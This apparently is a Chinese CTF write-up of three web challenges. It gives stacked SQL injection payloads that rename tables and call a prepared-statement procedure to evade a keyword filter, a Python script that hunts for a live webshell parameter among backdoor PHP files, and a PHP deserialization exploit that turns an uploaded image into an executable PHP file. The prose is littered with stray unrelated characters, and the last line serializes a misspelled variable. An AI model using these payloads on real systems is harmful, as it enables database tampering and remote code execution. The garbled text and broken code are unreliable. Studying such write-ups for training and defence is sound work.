隨便注
如題名描述,是一道注入題。
Fuzz一下轿钠,發(fā)現(xiàn)
- 1.WAF
return preg_match("/select|update|delete|drop|insert|where|./i", $inject);- 2.通過報(bào)錯(cuò)注入出來的數(shù)據(jù)庫名(supersqli)、用戶等信息(果然是隨便注)
猜測(cè)后臺(tái)SQL語句應(yīng)該為:
select * from supersqli.table_name where id='' ;
由于過濾了select關(guān)鍵詞,無法自定義進(jìn)行數(shù)據(jù)查詢操作玲昧。
經(jīng)過進(jìn)一步的測(cè)試后發(fā)現(xiàn)可以堆疊注入,通過’;show tables from supersqli;#等payload可以得知flag存在于1919810931114514表的flag字段中篮绿。
這里還是由于select被過濾不能自定義查詢內(nèi)容孵延,結(jié)合后臺(tái)SQL語句,得出思路:將1919810931114514表改名為words亲配,這樣在后臺(tái)SQL語句不變的情況下仍然可以查詢得到flag的內(nèi)容尘应。
最終payload如下:
';ALTER TABLE `1919810931114514` ADD `id` INT(1) NOT NULL DEFAULT '1' AFTER `flag`;%23
(由于1919810931114514表中并沒有id列,因此先添加id列)
';alter+table+`1919810931114514`+rename+to+`xxx`;alter+table+`words`+rename+to+`zzz`;alter+table+`xxx`+rename+to+`words`;%23
最后直接查詢就可以得到原1919810931114514表中的內(nèi)容吼虎。
賽后學(xué)習(xí)一波ChaMd5師傅的操作
1';create procedure vk()
begin
Set @v_sql=concat('sel','ect * from `1919810931114514`;');
Prepare stmt from @v_sql;
EXECUTE stmt;
deallocate Prepare stmt;
end;
call vk();-- -
高明的黑客
下載www.tar.gz后發(fā)現(xiàn)是3000多個(gè)“木馬”文件犬钢。
簡(jiǎn)單審計(jì)一下發(fā)現(xiàn)雖然有很多命令執(zhí)行的地方,但在此之前都已經(jīng)將GET或POST參數(shù)賦空值思灰,或者加上恒為假的if判斷玷犹,于是乎寫了個(gè)腳本提取每個(gè)文件中的GET、POST參數(shù)洒疚,在本地測(cè)試是否能夠命令執(zhí)行歹颓,最終在測(cè)試GET參數(shù)的過程中發(fā)現(xiàn)其中一個(gè)能用的shell并且獲得其參數(shù)。
import requests
import re
import os
from time import sleep
flies = os.listdir('./src')
for i in flies:
url = 'http://127.0.0.1/src/'+i
f = open('./src/'+i)
data = f.read()
f.close()
reg = re.compile(r'(?<=_GET\[\').*(?=\'\])')
params = reg.findall(data)
for j in params:
payload = url + '/?' + j + '=echo 123456123456123456123456'
print payload
req=requests.get(payload)
if '123456123456123456123456' in req.content:
print payload
exit();
upload
下載備份文件www.tar.gz進(jìn)行源碼審計(jì)
漏洞點(diǎn)在Profile類中的upload_img()函數(shù)中:
public function upload_img(){
if($this->checker){
if(!$this->checker->login_check()){
$curr_url="http://".$_SERVER['HTTP_HOST'].$_SERVER['SCRIPT_NAME']."/index";
$this->redirect($curr_url,302);
exit();
}
}
if(!empty($_FILES)){
$this->filename_tmp=$_FILES['upload_file']['tmp_name'];
$this->filename=md5($_FILES['upload_file']['name']).".png";
$this->ext_check();
}
if($this->ext) {
if(getimagesize($this->filename_tmp)) {
@copy($this->filename_tmp, $this->filename);
@unlink($this->filename_tmp);
$this->img="../upload/$this->upload_menu/$this->filename";
$this->update_img();
}else{
$this->error('Forbidden type!', url('../index'));
}
}else{
$this->error('Unknow file type!', url('../index'));
}
}
通過copy($this->filename_tmp, $this->filename);
就可以任意更改文件名了拳亿。
exp如下:
class Register
{
public $checker;
public $registed;
}
class Profile
{
public $checker;
public $filename_tmp;
public $filename;
public $upload_menu;
public $ext;
public $img;
public $except;
}
$check = new Register();
$check->registed=0;
$check->checker = new Profile();
$check->checker->except=array('index'=>'upload_img');
$check->checker->ext=1;
$check->checker->filename_tmp="./upload/98acc62aa02eda032d1caed497ce72a0/0412c29576c708cf0155e8de242169b1.png";
$check->checker->filename="./upload/98acc62aa02eda032d1caed497ce72a0/0412c29576c708cf0155e8de242169b1.php";
echo base64_encode(serialize($cheeck));